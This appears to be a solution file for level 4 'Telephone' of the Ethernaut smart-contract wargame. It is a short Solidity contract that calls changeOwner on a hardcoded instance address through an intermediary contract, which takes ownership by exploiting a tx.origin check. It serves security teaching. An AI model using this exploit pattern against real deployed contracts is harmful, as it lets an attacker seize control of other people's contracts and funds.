Level 4 - Telephone - Ethernaut

TelephoneHack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract TelephoneHack {

    function telephoneHack() public {
        bytes memory changeLoad = abi.encodeWithSignature("changeOwner(address)", 0xF2FF428414A3C798f3e59A101C0f659641Edcc29);
        // Change to your instance address
        (bool success,) = 0xdCA7693Be5F569A966Ad33F7A14C85414404cB6d.call(changeLoad);
        require(success);
        
        // nameReg.call(bytes4(keccak256("fun(uint256)")), a);
        // 0xdCA7693Be5F569A966Ad33F7A14C85414404cB6d.call(bytes4(keccak256("changeOwner(address)")), 0xF2FF428414A3C798f3e59A101C0f659641Edcc29);
    }

}